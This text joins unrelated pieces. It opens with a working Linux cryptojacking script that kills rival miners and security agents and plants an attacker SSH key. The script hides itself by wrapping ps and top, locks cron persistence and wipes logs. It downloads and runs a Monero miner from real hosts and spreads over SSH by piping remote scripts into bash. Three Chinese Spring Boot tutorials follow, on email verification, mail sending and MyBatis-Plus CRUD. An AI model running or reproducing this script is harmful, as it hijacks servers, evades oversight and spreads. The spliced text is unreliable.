/tmp/nullcrew rm -rf /tmp/proc rm -rf /tmp/2.sh rm /opt/atlassian/confluence/bin/1.sh rm /opt/atlassian/confluence/bin/1.sh.1 rm /opt/atlassian/confluence/bin/1.sh.2 rm /opt/atlassian/confluence/bin/1.sh.3 rm /opt/atlassian/confluence/bin/3.sh rm /opt/atlassian/confluence/bin/3.sh.1 rm /opt/atlassian/confluence/bin/3.sh.2 rm /opt/atlassian/confluence/bin/3.sh.3 rm -rf /var/tmp/f41 rm -rf /var/tmp/2.sh rm -rf /var/tmp/config.json rm -rf /var/tmp/xmrig rm -rf /var/tmp/1.so rm -rf /var/tmp/kworkerds3 rm -rf /var/tmp/kworkerdssx rm -rf /var/tmp/kworkerds rm -rf /var/tmp/wc.conf rm -rf /var/tmp/nadezhda. rm -rf /var/tmp/nadezhda.arm rm -rf /var/tmp/nadezhda.arm.1 rm -rf /var/tmp/nadezhda.arm.2 rm -rf /var/tmp/nadezhda.x86_64 rm -rf /var/tmp/nadezhda.x86_64.1 rm -rf /var/tmp/nadezhda.x86_64.2 rm -rf /var/tmp/sustse3 rm -rf /var/tmp/sustse rm -rf /var/tmp/moneroocean/ rm -rf /var/tmp/devtool rm -rf /var/tmp/devtools rm -rf /var/tmp/play.sh rm -rf /var/tmp/systemctI rm -rf /var/tmp/.java rm -rf /var/tmp/1.sh rm -rf /var/tmp/conf.n rm -r /var/tmp/lib rm -r /var/tmp/.lib rm -rf /opt/systemd-service.sh rm -rf /opt/.systemd-service.sh rm -rf /root/.systemd-service.sh rm -rf /usr/share/\[crypto\] chattr -R -ia /usr/bin/TeamTNT/* chattr -R -ia /usr/bin/watchdogd* rm -rf /usr/bin/watchdogd* service crypto stop systemctl stop crypto.service systemctl stop watchdogd service watchdogd stop rm -fr /usr/bin/TeamTNT/* chattr -iau /tmp/lok chmod +700 /tmp/lok rm -rf /tmp/lok sleep 1 chattr -i /tmp/kdevtmpfsi echo 1 > /tmp/kdevtmpfsi chattr +i /tmp/kdevtmpfsi sleep 1 chattr -i /usr/lib/systemd/systemd-update-daily echo 1 > /usr/lib/systemd/systemd-update-daily chattr +i /usr/lib/systemd/systemd-update-daily >/tmp/svcupdate >/tmp/svcguard >/etc/svcupdate >/etc/svcguard >/etc/cron.daily/logrotate >/etc/cron.hourly/0anacron >/etc/rc.d/rc.local #yum install -y docker.io || apt-get install docker.io; docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f % #echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmor service aliyun.service stop systemctl disable aliyun.service ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 % ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 % rm -rf /usr/local/aegis chattr -R -ia /var/spool/cron chattr -ia /etc/crontab chattr -R -ia /etc/cron.d chattr -R -ia /var/spool/cron/crontabs crontab -r rm -rf /var/spool/cron/* rm -rf /etc/cron.d/* rm -rf /var/spool/cron/crontabs rm -rf /etc/crontab } kill_miner_proc kill_sus_proc() { ps axf -o "pid"|while read procid do ls -l /proc/$procid/exe | grep /tmp if [ $? -ne 1 ] then cat /proc/$procid/cmdline| grep -a -E "zzh" if [ $? -ne 0 ] then kill -9 $procid else echo "don't kill" fi fi done ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid do cat /proc/$procid/cmdline| grep -a -E "zzh" if [ $? -ne 0 ] then kill -9 $procid else echo "don't kill" fi done } kill_sus_proc nameserver(){ grep -q 1.1.1.1 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 1.1.1.1" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null } nameserver fuckyou(){ $(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "/usr/bin/supervisor…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "/app/BitLockerServi…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null) rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null killall -9 xmrig 2>/dev/null 1>/dev/null if [ -f /root/.tmp/xmrig ]; then chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null tmpxmrigfile="/root/.tmp/miner.sh" rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null killall $tmpxmrigfile 2>/dev/null 1>/dev/null chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null ps ax| grep xmrig 2>/dev/null 1>/dev/null fi KINSING1=$(ps ax | grep -v grep | grep "/var/tmp/kinsing") if [ ! -z "$KINSING1" ]; then chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null pkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/null kill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}') 2>/dev/null 1>/dev/null kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null echo " " > /var/tmp/kinsing 2>/dev/null 1>/dev/null rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null echo "fuckyou" > /var/tmp/kinsing chattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/null history -c 2>/dev/null 1>/dev/null fi KINSING2=$(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi") if [ ! -z "$KINSING2" ]; then chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null kill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk '{print $1}') 2>/dev/null 1>/dev/null kill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/null echo " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null rm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null echo "fuckyou" > /tmp/kdevtmpfsi chattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null history -c 2>/dev/null 1>/dev/null fi } fuckyou downloads() { if [ -f "/usr/bin/curl" ] then echo $1,$2 http_code=`curl -I -m 50 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then curl --connect-timeout 100 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then curl --connect-timeout 100 --retry 100 $1 > $2 else curl --connect-timeout 100 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/cd1" ] then http_code=`cd1 -I -m 50 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then cd1 --connect-timeout 100 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then cd1 --connect-timeout 100 --retry 100 $1 > $2 else cd1 --connect-timeout 100 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/wget" ] then wget --timeout=50 --tries=100 -O $2 $1 if [ $? -ne 0 ] then wget --timeout=100 --tries=100 -O $2 $3 fi elif [ -f "/usr/bin/wd1" ] then wd1 --timeout=100 --tries=100 -O $2 $1 if [ $? -eq 0 ] then wd1 --timeout=100 --tries=100 -O $2 $3 fi fi } unlock_cron() { chattr -R -ia /var/spool/cron chattr -ia /etc/crontab chattr -R -ia /var/spool/cron/crontabs chattr -R -ia /etc/cron.d } lock_cron() { chattr -R +ia /var/spool/cron chattr +ia /etc/crontab chattr -R +ia /var/spool/cron/crontabs chattr -R +ia /etc/cron.d } if [ -f "$rtdir" ] then echo "i am root" mkdir -p /root/.ssh echo "goto 1" >> /etc/zzhs chattr -ia /etc/zzh* chattr -ia /etc/newinit.sh* chattr -ia /root/.ssh/authorized_keys* chattr -R -ia /root/.ssh if [ -f "/bin/ps.original" ] then echo "/bin/ps changed" else mv /bin/ps /bin/ps.original echo "#! /bin/bash">>/bin/ps echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps chmod +x /bin/ps touch -d 20160825 /bin/ps echo "/bin/ps changing" fi if [ -f "/bin/top.original" ] then echo "/bin/top changed" else mv /bin/top /bin/top.original echo "#! /bin/bash">>/bin/top echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top chmod +x /bin/top touch -d 20160825 /bin/top echo "/bin/top changing" fi if [ -f "/bin/pstree.original" ] then echo "/bin/pstree changed" else mv /bin/pstree /bin/pstree.original echo "#! /bin/bash">>/bin/pstree echo "pstree.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/pstree chmod +x /bin/pstree touch -d 20160825 /bin/pstree echo "/bin/pstree changing" fi if [ -f "/bin/chattr" ] then chattrsize=`ls -l /bin/chattr | awk '{ print $5 }'` if [ "$chattrsize" -lt "$chattr_size" ] then yum -y remove e2fsprogs yum -y install e2fsprogs else echo "no need install chattr" fi else yum -y remove e2fsprogs yum -y install e2fsprogs fi unlock_cron rm -f ${crondir} rm -f /etc/cron.d/zzh rm -f /etc/crontab echo "*/50 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir} echo "*/50 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh echo "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab echo crontab created lock_cron chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys echo "ssh-rsa [binary]" > /root/.ssh/authorized_keys file="/etc/zzh" if [ -f "/etc/zzh" ] then filesize1=`ls -l /etc/zzh | awk '{ print $5 }'` if [ "$filesize1" -ne "$miner_size" ] then pkill -f zzh rm /etc/zzh downloads $miner_url /etc/zzh $miner_url_backup else echo "not need download" fi else downloads $miner_url /etc/zzh $miner_url_backup fi downloads $sh_url /etc/newinit.sh $sh_url_backup chmod 777 /etc/zzh if [ -f "/bin/ps.original" ] then ps.original -fe|grep zzh |grep -v grep else ps -fe|grep zzh |grep -v grep fi if [ $? -ne 0 ] then cd /etc echo "not root runing" sleep 5s ./zzh --log-file=/etc/etc --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o 80.211.206.105:9000 -u 88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z.22 --tls --coin monero -o opn.en2an.top:5443 --tls --nicehash --coin monero --background & else echo "root runing....." fi chmod 777 /etc/zzh chattr +ia /etc/zzh chmod 777 /etc/newinit.sh chattr +ia /etc/newinit.sh chmod 600 /root/.ssh/authorized_keys chattr +ia /root/.ssh/authorized_keys else echo "goto 1" > /tmp/zzhs chattr -ia /tmp/zzh* chattr -ia /tmp/newinit.sh* if [ ! -f "/usr/bin/crontab" ] then unlock_cron echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1" >> ${crondir} lock_cron else unlock_cron $cont =~ "newinit.sh" || (crontab -l ; echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1") | crontab - lock_cron fi chmod 700 ~/.ssh/ echo >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys echo "ssh-rsa [binary]" > ~/.ssh/authorized_keys if [ -f "/tmp/zzh" ] then filesize1=`ls -l /tmp/zzh | awk '{ print $5 }'` if [ "$filesize1" -ne "$miner_size" ] then pkill -f zzh rm /tmp/zzh downloads $miner_url /tmp/zzh $miner_url_backup else echo "no need download" fi else downloads $miner_url /tmp/zzh $miner_url_backup fi echo "i am here" downloads $sh_url /tmp/newinit.sh $sh_url_backup ps -fe|grep zzh |grep -v grep if [ $? -ne 0 ] then echo "not tmp runing" cd /tmp chmod 777 zzh sleep 5s ./zzh --log-file=/tmp/tmp --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o 80.211.206.105:9000 -u 88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z.22 --tls --coin monero -o opn.en2an.top:5443 --tls --nicehash --coin monero --background & else echo "tmp runing....." fi chmod 777 /tmp/zzh chattr +i /tmp/zzh chmod 777 /tmp/newinit.sh chattr +i /tmp/newinit.sh fi iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP service iptables reload history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history chmod 444 /usr/bin/chattr chmod 444 /bin/chattr yum install -y bash 2>/dev/null apt install -y bash 2>/dev/null apt-get install -y bash 2>/dev/null if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- http://45.83.123.29/cleanfda/init.sh | bash >/dev/null 2>&1 &' & done fi if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o- http://45.83.123.29/cleanfda/init.sh | bash >/dev/null 2>&1 &' & done fi echo "$bbdir" echo "$bbdira" $bbdir -fsSL http://en2an.top/cleanfda/is.sh | bash $bbdira -fsSL http://en2an.top/cleanfda/is.sh | bash
这是一个简单的demo，采用Spring Boot+Vue前后端分离的开发模式目前已实现以下功能：前后端交互获取验证码将邮箱写入数据库判断数据库是否存已存在邮箱前端部分访问页面Register.vue <el-form ref="form" :model="mailForm" label-width="60px" size="mini"> <el-form-item label="邮箱" class="em"> <el-input style="width: 260px;padding-right:12px" v-model="mailForm.email"/> <el-button type="primary" @click="getCode"> 发送验证码 {{ count }} s后重发 </el-button> </el-form-item> <el-form-item label="密码" class="cd"> <el-input type="password" v-model="mailForm.password"></el-input> </el-form-item> <el-form-item label="密码" class="cd"> <el-input type="password" v-model="password2"></el-input> </el-form-item> <el-form-item label="验证码" class="cd"> <el-input v-model="mailForm.code"></el-input> </el-form-item> <el-form-item> <el-button type="primary" @click="submit">注册</el-button> </el-form-item> </el-form> 后端部分Entity层User.javapackage com.zhangz1.maildemo.domain.entity; import com.baomidou.mybatisplus.annotation.TableName; /** * Created by zhangz1 on 2022/2/15 20:41 */ @TableName("email") public class User { private int id; private String email; private String password; private String code; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getCode() { return code; } public void setCode(String code) { this.code = code; } @Override public String toString() { return "{" + "id=" + id + ", email='" + email + '\'' + ", password='" + password + '\'' + ", code='" + code + '\'' + '}'; } }Service层UserService.javapackage com.zhangz1.maildemo.service; import com.baomidou.mybatisplus.extension.service.IService; import com.zhangz1.maildemo.domain.entity.User; import org.springframework.transaction.annotation.Transactional; /** * Created by zhang1 on 2022/2/13 17:02 */ @Transactional(rollbackFor=Exception.class) public interface UserService extends IService<User> { /** * 邮件发送 * * @param receiver 接收方 * @param title 发送的标题 * @param text 发送的内容 */ void send(String receiver, String title, String text); /** * 添加用户 * * @param user user * @return Boolean */ @Override boolean save(User user); /** * 判断是否存在邮箱 * * @param email 查询的邮箱 * @return Boolean */ boolean queryByEmail(String email); }Service接口层UserServiceImpl.javapackage com.zhangz1.maildemo.service.impl; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.zhangz1.maildemo.domain.entity.User; import com.zhangz1.maildemo.mapper.UserMapper; import com.zhangz1.maildemo.service.UserService; import org.springframework.beans.factory.annotation.Value; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.stereotype.Service; import javax.annotation.Resource; /** * Created by zhangz1 on 2022/2/13 22:57 */ @Service public class UserServiceImpl extends ServiceImpl<UserMapper, User> implements UserService { @Value("${spring.mail.username}") private String sender; @Resource JavaMailSender mailSender; /** * 邮件发送 * * @param email 接收方 * @param title 发送的标题 * @param text 发送的内容 */ @Override public void send(String email, String title, String text) { try { SimpleMailMessage message = new SimpleMailMessage(); message.setFrom(sender); message.setTo(email); message.setSubject(title); message.setText(text); mailSender.send(message); } catch (Exception e) { e.printStackTrace(); } } /** * 添加用户 * * @param user user * @return Boolean */ @Override public boolean save(User user) { return baseMapper.insertUser(user); } /** * 判断是否存在邮箱 * * @param email 查询的邮箱 * @return Boolean */ @Override public boolean queryByEmail(String email) { Integer existFlag = baseMapper.queryByEmail(email); return existFlag == null; } }Mapper层UserMapper.javapackage com.zhangz1.maildemo.mapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhangz1.maildemo.domain.entity.User; import org.springframework.stereotype.Repository; /** * Created by zhangz1 on 2022/2/16 20:44 */ @Repository public interface UserMapper extends BaseMapper<User> { /** * 添加 * * @param user user * @return Boolean */ boolean insertUser(User user); /** * 判断是否存在邮箱 * * @param email 查询的邮箱 * @return 不存在返回0，存在返回1 */ Integer queryByEmail(String email); }Mapper映射文件UserMapper.xml<?xml version="1.0" encoding="UTF-8" ?> <mapper namespace="com.zhangz1.maildemo.mapper.UserMapper"> <insert id="insertUser" parameterType="com.zhangz1.maildemo.domain.entity.User" keyProperty="id" useGeneratedKeys="true"> insert into email (email, password) values (#{email}, #{password}) </insert> select 1 from email where email = #{email} limit 1 </mapper>Controller层UserController.javapackage com.zhangz1.maildemo.controller; import com.zhangz1.maildemo.constants.enums.MailEnum; import com.zhangz1.maildemo.constants.enums.UserEnum; import com.zhangz1.maildemo.domain.entity.User; import com.zhangz1.maildemo.constants.RestResponse; import com.zhangz1.maildemo.service.UserService; import org.springframework.web.bind.annotation.*; import javax.annotation.Resource; import javax.servlet.http.HttpServletRequest; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Random; /** * Created by zhangz1 on 2022/2/13 17:10 */ @CrossOrigin @RestController public class UserController { @Resource private UserService userService; @RequestMapping(value = "/sendMail", method = RequestMethod.POST) public RestResponse<String> send(@RequestBody User user, HttpServletRequest request) { RestResponse<String> restResponse = new RestResponse<>(); if (userService.queryByEmail(user.getEmail())) { String verifyCode = String.valueOf(new Random().nextInt(899999) + 100000); String title = "验证码"; String text = "您的验证码为" + verifyCode + "，请勿泄露此验证码。\n如非本人操作，请忽略该邮件。\n(这是一封自动发送的邮件，请勿回复）"; try { userService.send(user.getEmail(), title, text); } catch (Exception e) { restResponse.setStatus(MailEnum.SEND_FAILURE.getStatus()); restResponse.setMessage(MailEnum.SEND_FAILURE.getMessage()); return restResponse; } request.getSession().setAttribute("verifyCode", verifyCode); request.getSession().setAttribute("email", user.getEmail()); restResponse.setStatus(MailEnum.SEND_SUCCESS.getStatus()); restResponse.setMessage(MailEnum.SEND_SUCCESS.getMessage()); } else { restResponse.setStatus(MailEnum.EMAIL_REPEAT.getStatus()); restResponse.setMessage(MailEnum.EMAIL_REPEAT.getMessage()); } return restResponse; } @ResponseBody @RequestMapping(value = "/insertUser", method = RequestMethod.POST) public RestResponse<String> insertUser(@RequestBody User user, HttpServletRequest request) { RestResponse<String> restResponse = new RestResponse<>(); String email = (String) request.getSession().getAttribute("email"); String verifyCode = (String) request.getSession().getAttribute("verifyCode"); Map<String, Object> map = new HashMap<>(16); map.put("verifyCode", user.getCode()); map.put("email", user.getEmail()); if (verifyCode.equals(map.get("verifyCode")) && email.equals(map.get("email"))) { userService.save(user); restResponse.setStatus(UserEnum.SAVE_SUCCESS.getStatus()); restResponse.setMessage(UserEnum.SAVE_SUCCESS.getMessage()); restResponse.setData(user.toString()); Enumeration<String> em = request.getSession().getAttributeNames(); while (em.hasMoreElements()) { request.getSession().removeAttribute(em.nextElement()); } } else if (!verifyCode.equals(map.get("verifyCode"))) { restResponse.setStatus(MailEnum.CODE_FAILURE.getStatus()); restResponse.setMessage(MailEnum.CODE_FAILURE.getMessage()); } else if (!email.equals(map.get("email"))) { restResponse.setStatus(MailEnum.EMAIL_FAILURE.getStatus()); restResponse.setMessage(MailEnum.EMAIL_FAILURE.getMessage()); } return restResponse; } }响应类RestResponse.javapackage com.zhangz1.maildemo.constants; /** * 响应类 * Created by zhangz1 on 2022/2/15 21:14 */ public class RestResponse<T> { private Integer status; private String message; private T data; public Integer getStatus() { return status; } public void setStatus(Integer status) { this.status = status; } public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } public T getData() { return data; } public void setData(T data) { this.data = data; } }部分截图：由于目前只是个小demo，所以暂未部署项目前端项目仓库请点击此处后端项目仓库请点击此处
1 创建Spring Boot项目2 导入依赖<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-mail</artifactId> <version>2.6.3</version> </dependency>3 配置application.ymlspring: mail: host: # 邮箱服务器 例：smtp.qq.com username: ****@qq.com password: **** properties: mail: smtp: auth: true starttls: enable: true required: true4 MailService.javapackage com.zhangz1.maildemo.service; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Service; import javax.annotation.Resource; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; /** * Created by zhang1 on 2022/2/13 17:02 */ @Service public class MailService { @Resource JavaMailSender mailSender; private final Logger logger = LoggerFactory.getLogger(MailService.class); public String send(String sender, String receiver, String title, String text) { try { //建立邮件消息 MimeMessage message = mailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(message, true); //发送方 helper.setFrom(sender); //接收方 helper.setTo(receiver); //发送的标题 helper.setSubject(title); //发送的内容 helper.setText(text); mailSender.send(message); } catch (MessagingException e) { logger.error(e.getMessage()); } return "发送成功"; } }5 MailController.javapackage com.zhangz1.maildemo.controller; import com.zhangz1.maildemo.service.MailService; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; import java.util.Random; /** * Created by zhangz1 on 2022/2/13 17:10 */ @RestController public class MailController { @Resource private MailService mailService; @RequestMapping("/sendMail") public String send() { String checkCode = String.valueOf(new Random().nextInt(899999) + 100000); String sender = "2659445660@qq.com"; //发送方邮箱 String receiver = "admin@zhangz1.top"; //接收方邮箱 String title = "验证码"; String text = "您的验证码为" + checkCode; return mailService.send(sender, receiver, title, text); } }6 测试
一、准备新建Spring Boot项目1.见文章[post cid="189" /]2.引入依赖<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <scope>runtime</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> <version>3.5.0</version> </dependency> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus</artifactId> <version>3.5.0</version> </dependency> </dependencies>3.配置application.yml（根据自己的配置调整）spring: datasource: driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://localhost:3306/demo username: demo password: demo mybatis-plus: configuration: #控制台打印完整带参数SQL语句 log-impl: org.apache.ibatis.logging.stdout.StdOutImpl #mapper映射文件路径 mapper-locations: mapper/**.xml4.添加@MapperScan[scode type="green" size=""]直接在Mapper类上面添加注解@Mapper，这种方式要求每一个Mapper类都需要添加此注解，比较麻烦，所以我们选择在启动类上添加@MapperScan，同时指定要扫描的Mapper类的路径[/scode]/** * @author zhangz1 */ @MapperScan("com.zhangz1.springbootdemo.mapper") @SpringBootApplication public class SpringBootDemoApplication { public static void main(String[] args) { SpringApplication springApplication = new SpringApplication(SpringBootDemoApplication.class); springApplication.run(args); } }[scode type="yellow" size=""]在使用maven等构建工具时，默认会将源码（java文件夹）编译后再加上资源目录（resources文件夹）的文件放到target目录下作为最后运行的文件，xml文件放到java文件夹里，编译时会被maven忽略，因此常采用在resources下新建文件夹，用来存放mapper的xml映射文件。[/scode]项目结构：二、实现1.数据库表结构：create table user ( id int(5) auto_increment primary key, username varchar(10) not null, password varchar(20) not null );2.给表赋值例值`INSERT INTO user (id, username, password) VALUES (1, 'admin', 'admin');` `INSERT INTO user (id, username, password) VALUES (2, 'zhangz1', 'zhangz1');` `INSERT INTO user (id, username, password) VALUES (3, 'zhangz1', '123');`3.实体类UserEntity.javapackage com.zhangz1.springbootdemo.domain.entity; import com.baomidou.mybatisplus.annotation.TableName; /** * @author zhangz1 * @date 2022/1/24 14:50 */ @TableName("user") public class UserEntity { private Integer id; private String username; private String password; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public UserEntity() { } public UserEntity(Integer id, String username, String password) { this.id = id; this.username = username; this.password = password; } }4.数据访问层接口UserMapper.javaMapper通用CRUD封装BaseMapper接口，自动解析实体表关系映射转换为Mybatis内部对象注入容器package com.zhangz1.springbootdemo.mapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhangz1.springbootdemo.domain.entity.UserEntity; import java.util.List; /** * @author zhangz1 * @date 2022/1/24 15:32 */ public interface UserMapper extends BaseMapper<UserEntity> { }5.业务逻辑层Service接口类UserService.java通用Service CRUD封装IService接口package com.zhangz1.springbootdemo.service; import com.baomidou.mybatisplus.extension.service.IService; import com.zhangz1.springbootdemo.domain.entity.UserEntity; import java.util.List; /** * @author zhangz1 * @date 2022/1/22 16:02 */ public interface UserService extends IService<UserEntity> { }实现类UserServiceImpl.javapackage com.zhangz1.springbootdemo.service.impl; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.zhangz1.springbootdemo.domain.entity.UserEntity; import com.zhangz1.springbootdemo.mapper.UserMapper; import com.zhangz1.springbootdemo.service.UserService; import org.springframework.stereotype.Service; import java.util.List; /** * @author zhangz1 * @date 2022/1/22 16:03 */ @Service public class UserServiceImpl extends ServiceImpl<UserMapper, UserEntity> implements UserService { }6.控制器UserController.javapackage com.zhangz1.springbootdemo.controller; import com.zhangz1.springbootdemo.domain.entity.UserEntity; import com.zhangz1.springbootdemo.service.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.List; /** * @author zhangz1 * @date 2022/1/19 16:46 */ @RestController @RequestMapping("/user") public class UserController { final UserService userService; @Autowired public UserController(UserService userService) { this.userService = userService; } @RequestMapping(value = "/getUser") public UserEntity getUser(Integer id) { return userService.getById(id); } 